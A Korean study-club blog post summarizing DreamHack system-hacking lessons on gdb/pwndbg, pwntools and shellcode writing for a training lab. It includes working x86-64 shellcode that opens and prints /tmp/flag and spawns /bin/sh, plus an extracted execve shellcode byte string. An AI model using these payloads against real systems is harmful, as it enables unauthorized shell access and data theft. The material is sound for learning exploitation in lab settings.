본문 바로가기

3. Pwnable (포너블)/2) 개념 정리

[2025.03.28] 2주차 활동 _ Pwnabless

참고 강의: 드림핵(DreamHack) - System Hacking

 

System Hacking

 

dreamhack.io


STAGE 3.  Tool  Installation

[ gdb(GNU debugger) ]

리눅스의 대표적인 디버거

 

• 바이너리 분석 용도로 널리 사용되는 플러그인

1. gef

2. peda

3. pwngdb

4. pwndbg

 

(해당 로드맵에서는 pwndbg기준으로 설명이 진행될 예정)

 

디버거(debugger)
버그를 없애기 위해 사용하는 도구
→ 프로그램을 어셈블리 코드 단위로 실행하면서 실행결과를 사용자에게 보여줌

[ ELF(Executable and Linkable Format) ]

리눅스의 실행파일 형식

구성 요소 내용
헤더 실행에 필요한 여러 정보 보유
섹션 컴파일된 기계어 코드, 프로그램 문자열을 비롯한 여러 데이터 포함

 

-헤더 중에 진입점(Entry Point, EP)이라는 필드 존재

-운영체제는 ELF를 실행할 때, 진입점의 값부터 프로그램을 실행함

✓ 명령어

entry

 

진입점부터 프로그램을 분석할 수 있게 해주는 명령어

 

맥락(context)

 

주요 메모리들의 상태 및 프로그램 실행 과정 파악

 

영역 내용
REGISTERS 레지스터의 상태를 보여줌
DISASM rip부터 여러 줄에 걸쳐 디스어셈블된 결과 도출
STACK rsp부터 여러 줄에 걸쳐 스택의 값들 도출
BACKTRACE 현재 rip에 도달할 때까지 중첩되어 호출된 함수들 도출

 

-> 이들은 어셈블리를 실행할 때마다 갱신되어 방금 실행한 어셈블리 명령어가 메모리에 어떤 영향을 줬는지 쉽게 파악할 수 있게 도움을 줌

 

break

 

특정 주소에 중단점(breakpoint)을 설정하는 기능

break로 원하는 함수에 중단점 설정 후, 프로그램을 계속 실행하면 해당 함수까지 멈추지 않고 실행한 다음 중단
→ 중단된 지점부터 다시 세밀하게 분석 가능
continue

 

중단된 프로그램을 계속 실행시키는 기능

 

run

 

단순히 실행만 진행

(중단점 미설정 시, 프로그램이 끝까지 멈추지 않고 실행)

✓ 명령어 축약 기능

축약어 의미
b break
c continue
r run
si step into
ni next instruction
i info
k kill
pd pdisas

[ disassembly ]

gdb는 기계어를 디스어셈블(Disassemble)하는 기능을 기본적으로 탑재

함수 이름을 인자로 전달하면 해당 함수가 반환될 때까지 전부 디스어셈블하여 보여줌

(디스어셈블: 기계어 -> 어셈블리어 변환 작업. 어셈블의 반대)

 

✓ disassemble

gdb가 기본적으로 제공하는 디스어셈블 명령어

 

• pwndbg에서 제공하는 디스어셈블 명령어

1. u

2. nearpc

3. pdisass

 

(디스어셈블된 코드를 가독성 좋게 출력해주는 역할 제공)

✓ 명령어

ni, si

 

함수의 중단점에 도달 시, 어셈블리 명령어를 한 줄씩 실행

 

※ call 등을 통해 서브루틴 호출 시 차이점 존재

명령어 내용
ni 서브루틴의 내부로 들어가지 않음
si 서브루틴의 내부로 들어감

 

finish

 

함수의 규모가 커서 ni로는 원래 실행 흐름으로 돌아가기 어려울 때 사용

(해당 명령어 사용 시 함수의 끝까지 한 번에 실행 가능)

 

examine

 

가상 메모리에 존재하는 임의 주소의 값 관찰

gdb에서는 x명령어 사용

x
특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼 수 있음
→ 메모리 조회

 

telescope(tele)

 

pwndbg가 제공하는 강력한 메모리 덤프 기능

(특정 주소의 메모리 값들을 보여줄뿐만 아니라 메모리가 참조하고 있는 주소를 재귀적으로 탐색해 값을 보여줌)

 

vmmap

 

가상 메모리의 레이아웃 보여줌

(어떤 파일이 매핑된 영역일 경우, 해당 파일의 경로까지 보여줌)

파일 매핑
매핑: 어떤 파일을 메모리에 적재하는 것
리눅스에서는 ELF 실행 시, ELF의 코드 및 여러 데이터를 가상 메모리에 매핑하고, 해당 ELF에 링크된 공유 오브젝트(Shared Object, so)를 추가로 메모리에 매핑함

공유 오브젝트
자주 사용되는 함수들을 미리 컴파일해둔 것
공유 오브젝트에 이미 구현된 함수 호출 시 매핑된 메모리에 존재하는 함수를 대신 호출

(e.g., C언어-printf,scanf 리눅스-libc(library C))

✓ gdb / python

이용자가 직접 입력할 수 없는 값을 입력받아야 할 때 파이썬으로 입력값을 생성하고 프로그램 입력으로 넘겨주는 방식을 사용해야 함

✓ gdb / python argv

run 명령어의 인자로 $()와 함께 파이썬 코드 입력 시 값 전달 가능

 

pwndbg> r $(python3 -c "print('\xff' * 100)")
Starting program: /home/dreamhack/debugee2 $(python3 -c "print('\xff' * 100)")
argv[1] ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

 

✓ gdb / python input

$()와 함께 파이썬 코드를 입력하면 값 입력 가능

입력값으로 전달하기 위해서는 <<<를 사용

 

argv[1]에 임의의 값 전달 후 값을 입력하는 명령어

pwndbg> r $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')")
Starting program: /home/dreamhack/debugee2 $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')")
argv[1] ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ
Name: dreamhack

 

[ pwntools ]

파이썬으로 여러 개의 익스플로잇 스크립트 작성 시 자주 사용하게 되는 함수들을 모아놓은 파이썬 모듈

 

익스플로잇(Exploit)
해킹 분야에서 상대 시스템을 공격하는 것

✓ 함수

process

 

익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수

익스플로잇을 테스트하고 디버깅하기 위해 사용

 

remote

 

원격 서버를 대상으로 할 때 사용하는 함수

대상 서버를 실제로 공격하기 위해 사용

 

from pwn import *
p = process('./test')             # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337)  # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

 

send

 

데이터를 프로세스에 전송하기 위해 사용

 

from pwn import *
p = process('./test')

p.send(b'A')                     # ./test에 b'A'를 입력
p.sendline(b'A')                 # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A')      # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A')  # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력

 

recv

 

프로세스에서 데이터를 받기 위해 사용

 

함수 내용
recv(n) 최대 n 바이트를 받는 것 / 그만큼 받지 못해도 에러 미발생
recvn(n) 정확히 n 바이트의 데이터를 받을때까지 계속 기다림

 

from pwn import *
p = process('./test')

data = p.recv(1024)            # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()            # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5)              # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello')   # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall()             # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

 

packing

 

어떤 값을 리틀 엔디언의 바이트 배열로 변경할 때 사용

(정수 → 바이트 배열)

 

unpacking

 

packing의 역의 과정을 거쳐야 하는 경우 사용

(바이트 배열 → 정수)

 

#!/usr/bin/env python3
# Name: pup.py

from pwn import *

s32 = 0x41424344
s64 = 0x4142434445464748

print(p32(s32))
print(p64(s64))

s32 = b"ABCD"
s64 = b"ABCDEFGH"

print(hex(u32(s32)))
print(hex(u64(s64)))
$ python3 pup.py
b'DCBA'
b'HGFEDCBA'
0x44434241
0x4847464544434241

 

interactive

 

셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수

( 호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력 확인 가능 / 프로세스 또는 서버와 터미널로 직접 통신)

 

from pwn import *
p = process('./test')
p.interactive()

 

ELF

 

ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어 있음

(pwntools를 사용하면 이 정보들을 쉽게 참조 가능)

 

context.log

 

익스플로잇에 버그 발생 시 익스플로잇을 디버깅해야 할 경우 사용

(로그 레벨은 context.log_level 변수로 조절 가능 / context.log_level : 익스플로잇 과정에서 출력할 정보의 중요도)

 

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

 

context.arch

 

아키텍처 정보를 프로그래머가 자정할 때 사용

 

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

 

shellcraft

 

이용자가 셸 코드를 직접 작성하는 경우 사용

 

• pwntools에서 저장된 셸 코드들을 사용 시 발생하는 제약 사항

1. 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못함

2. 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있음

 

(→ 해당 상황들의 경우 직접 셸코드를 작성하는 것이 좋음)

 

asm

 

어셈블 기능 사용 시 사용 / 어셈블리어 → 기계어

(아키텍처 미리 지정 필수)

 

#!/usr/bin/env python3
# Name: asm.py

from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'

code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

 


STAGE 4.  Shellcode

[ shellcode ]

익스플로잇을 위해 제작된 어셈블리 코드 조각

일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용

 

셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제와 셸코드의 목적에 따라 다르게 작성

 

✓ 파일 읽고 쓰기(open-read-write, orw)

orw 셸 코드

파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드

 

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

open

 

int fd = open(“/tmp/flag”, O_RDONLY, NULL)

 

“/tmp/flag”라는 문자열을 메모리에 위치시키기 위해

스택에 0x67616c662f706d742f (/tmp/flag 의 리틀 엔디안 형태)를 push 해야 함

 

하지만 스택에는 8 바이트 단위로만 값을 push할 수 있으므로

1. 0x67를 우선 push한 후

2. 0x616c662f706d742fpush

3. 그리고 rdi가 이를 가리키도록 rsprdi로 옮김

4. O_RDONLY는 0이므로, rsi는 0으로 설정

5. 파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정

6. 마지막으로 rax를 open의 syscall 값인 2로 설정

 

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

read

 

read(fd, buf, 0x30)

 

syscall의 반환 값은 rax로 저장됨

따라서 open으로 획득한 /tmp/flag의 fdrax에 저장됨

 

1. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입

 

rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킴

 

2. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입

3. rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정

4. read 시스템콜을 호출하기 위해서 rax를 0으로 설정

 

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

파일 서술자(File Descriptor, fd)
유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자

0번은 일반 입력(Standard Input, STDIN)
1번은 일반 출력(Standard Output, STDOUT)
2번은 일반 오류(Standard Error, STDERR)

→ 이들은 프로세스를 터미널과 연결해주기에, 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있음

프로세스가 생성된 이후, open 함수를 통해 어떤 파일과 프로세스를 연결하고자 하는 경우
→ 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해줘야 함
→ 프로세스는 그 fd를 이용하여 파일에 접근 가능

 

write

 

write(1, buf, 0x30)

 

1. 출력은 stdout으로 할 것이므로, rdi를 0x1로 설정

2. rsirdxread에서 사용한 값을 그대로 사용

3. write 시스템콜을 호출하기 위해서 rax를 1로 설정

 

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

# open, read, write를 모두 종합한 코드

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

✓ orw 셸코드 컴파일 및 실행

셸코드 orw.S는 아스키로 작성된 어셈블리 코드이므로,

기계어로 치환하면 CPU가 이해할 수는 있으나 ELF형식이 아니므로 리눅스에서 실행될 수 없음

 

gcc 컴파일을 통해 이를 ELF형식으로 변형해야 함

✓ 컴파일

어셈블리 코드를 컴파일하는 방법에는 여러 가지가 있으나,

이 강의에서는 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용

 

스켈레톤 코드
핵심 내용이 비어있고 기본 구조만 갖춘 코드

 

# 스켈레톤 코드 예제

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

# 스켈레톤 코드에 orw 셸코드를 채운 예제

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");

void run_sh();

int main() { run_sh(); }

 

만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면?
→ 상대 서버의 자료 유출 가능

 

✓ orw 셸코드 디버깅

기본 설정

1. orwgdb로 열고, run_sh()에 브레이크 포인트를 설정

2. run 명령어로 run_sh()의 시작 부분까지 코드를 실행 (작성한 셸코드에 rip가 위치한 것을 확인)

 

int fd = open(“/tmp/flag”, O_RDONLY, NULL)

 

1. 첫번째 syscall이 위치한 ‘run_sh+29’ 브레이크 포인트를 설정

2. 해당 시점에 syscall에 들어가는 인자 확인

3. open(“/tmp/flag”, O_RDONLY, NULL);가 실행됨을 확인

4. ni 명령어로 syscall을 실행하고 나면, open 시스템 콜을 수행한 결과로 /tmp/flagfd(3)rax에 저장

 

read(fd, buf, 0x30)

 

1. 두 번째 syscall이 위치한 run_sh+55에 브레이크 포인트를 설정하고 실행한 후 인자 확인

2. 새로 할당한 /tmp/flagfd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffe2c8에 저장

3. ni 명령어로 syscall을 실행

 

write(1, buf, 0x30)

 

읽어낸 데이터를 출력하는 write 시스템 콜을 실행하기 직전 상태

ni 명령어로 실행하면, 데이터를 저장한 0x7fffffffe2c8에서 48바이트를 출력

 

초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)
스택: 다양한 함수들이 공유하는 메모리 자원
각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제
스택에서 해제 라는 것은 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp 를 호출한 함수의 것으로 이동시키는 것임

쓰레기 값(garbage data)
어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당 시 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재할 때 생기는 값

→ 해커에게 의도치 않게 중요한 정보를 노출하지 않고 안전한 프로그램을 작성하려면 스택이나 힙을 사용할 때 항상 적절한 초기화 과정을 거쳐야 함

 

✓ execve 셸코드

임의의 프로그램을 실행하는 셸코드

→ 서버의 셸 획득 가능

 

최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재

(이 외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용 가능)

 

execve 셸코드는 execve 시스템 콜만으로 구성

 

execve(“/bin/sh”, null, null)

 

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

argv: 실행파일에 넘겨줄 인자

envp: 환경변수

 

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

 

1. sh만 실행하면 되므로 다른 값들은 전부 null로 설정

2. 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, 지금 실행할 sh도 여기에 저장되어 있음

 

→ execve("/bin/sh", null, null)을 실행하는 것을 목표로 셸 코드를 작성

✓ execve 셸코드 컴파일 및 실행

# orw에서 사용한 스켈레톤 코드 이용
# 스켈레톤 코드에 execve 셸코드를 채운 예제

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

# 실행 결과

bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

✓ objdump를 이용한 shellcode 추출

어셈블리 코드 shellcode.asm을 바이트 코드로 바꾸는 과정

 

# 어셈블리 코드 - shellcode.asm

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

# 오브젝트 파일 shellcode.o 획득 과정

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

# objcopy 명령어를 이용해 shellcode.bin 파일 획득 과정
# xxd 명령어를 통해 shellcode.bin 파일 내용의 바이트 값들을 16진수 형태로 확인 가능

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

# xxd 출력 결과에서 바이트 값 추출 시 바이트 코드 형태의 셸코드 제작 가능

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"